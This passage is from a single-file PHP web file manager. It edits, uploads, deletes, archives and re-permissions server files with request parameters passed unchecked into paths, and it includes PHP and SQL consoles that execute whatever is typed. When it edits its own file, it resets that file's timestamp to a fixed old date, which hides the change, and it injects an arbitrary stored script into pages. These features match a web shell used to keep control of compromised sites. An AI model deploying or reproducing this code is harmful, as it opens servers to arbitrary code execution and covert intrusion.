RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
